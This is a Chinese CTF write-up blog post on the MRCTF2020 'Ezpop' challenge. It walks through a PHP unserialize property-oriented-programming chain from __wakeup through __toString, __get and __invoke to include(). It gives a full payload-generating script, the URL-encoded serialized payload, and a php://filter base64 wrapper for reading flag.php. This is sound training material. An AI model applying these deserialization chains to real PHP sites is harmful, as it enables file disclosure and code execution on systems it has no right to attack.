[BUUCTF题解][MRCTF2020]Ezpop 1
题目Ezpop说明了该题的考点(博主写完之后参考其他博客时才发现这里的pop其实有特殊含义),这里引用下其他博主的解释:
(原文链接:https://blog.csdn.net/weixin_45785288/article/details/109877324)
这个题目就是关于这个POP的一个具体题目场景,做题时就可以大概感受POP是如何发挥作用的。
打开页面,直接明了的给出了源码和目标——flag.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var ; public function append( $value ){ include ( $value ); } public function __invoke(){ $this ->append( $this -> var ); } } class Show{ public $source ; public $str ; public function __construct( $file = 'index.php' ){ $this ->source = $file ; echo 'Welcome to ' . $this ->source. "<br>" ; } public function __toString(){ return $this ->str->source; } public function __wakeup(){ if (preg_match( "/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test{ public $p ; public function __construct(){ $this ->p = array (); } public function __get( $key ){ $function = $this ->p; return $function (); } } if (isset( $_GET [ 'pop' ])){ @unserialize( $_GET [ 'pop' ]); } else { $a = new Show; highlight_file( __FILE__ ); } |
从非定义部分的代码开始审查。
在传入参数pop被设置时对其进行反序列化,那么再查看此前定义的类中哪些具有和反序列化相关的魔术方法,调用这些魔术方法中设置的代码,就可以执行此处反序列化之外更多的代码,从而实现我们读取flag.php中flag的要求。
Modifier类中append()方法会将传入参数包含,而此处魔术方法__invoke中设置了将Modifier类中的var属性作为传入值来调用append()函数,所以在这里需要让属性var的值为flag.php,再触发魔术方法__invoke即可。魔术方法__invoke被自动调用的条件是类被当成一个函数被调用,故接着来寻找和函数调用有关的代码。
在Test类中有两个魔法函数__construct和__get,但魔法函数__construct这里用不上只需要关注魔法函数__get就好。魔法函数__get中设置了属性p会被当做函数调用,刚好符合前面Modifier类中的要求。故需要再触发魔法函数__get即可,魔法函数__get会在访问类中一个不存在的属性时自动调用,那就需要寻找和调用属性相关的代码。
Show类中有三个魔术方法,同样魔术方法__construct这里也用不上,在魔术方法__toString中会返回属性str中的属性source,如果刚刚提到的source属性不存在,那么就符合了Test类中的要求,那这里。魔术方法__toString在类被当做一个字符串处理时会被自动调用,在魔术方法__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理。最终这个魔术方法__wakeup又在类被反序列化时自动调用。这样从Test类中append()方法到Show类中的魔术方法__wakup就形成了一条调用链,这就是POP的一个使用样例,而题目——Ezpop就说明了这题设计的知识。(
综上所述,一次经历了如下过程:
反序列化->调用Show类中魔术方法__wakeup->preg_match()函数对Show类的属性source处理->调用Show类中魔术方法__toString->返回Show类的属性str中的属性source(此时这里属性source并不存在)->调用Test类中魔术方法__get->返回Test类的属性p的函数调用结果->调用Modifier类中魔术方法__invoke->include()函数包含目标文件(flag.php)
最终payload代码如下(删去了源码中一些不必要的部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php class Modifier { protected $var = "flag.php" ; } class Show{ public $source ; public $str ; } class Test{ public $p ; } $a = new Show(); $b = new Show(); $a ->source= $b ; $b ->str= new Test(); ( $b ->str)->p= new Modifier(); echo urlencode(serialize( $a )); #因为Modifier类中的属性 var 为 protected ,将序列化后结果进行URL编码后可省略考虑不可见字符直接复制而丢失#结果为O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D?> |
但是直接包含flag.php得不到flag,需要读取flag.php的源码,直接包含只能见到如下内容。

那用伪协议来读取flag.php源码即可,这里将Modifier类的属性var的值替换掉。
1 | protected $var = "php://filter/read=convert.base64-encode/resource=flag.php" ; |
对获得的内容base64解密即可获得flag。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具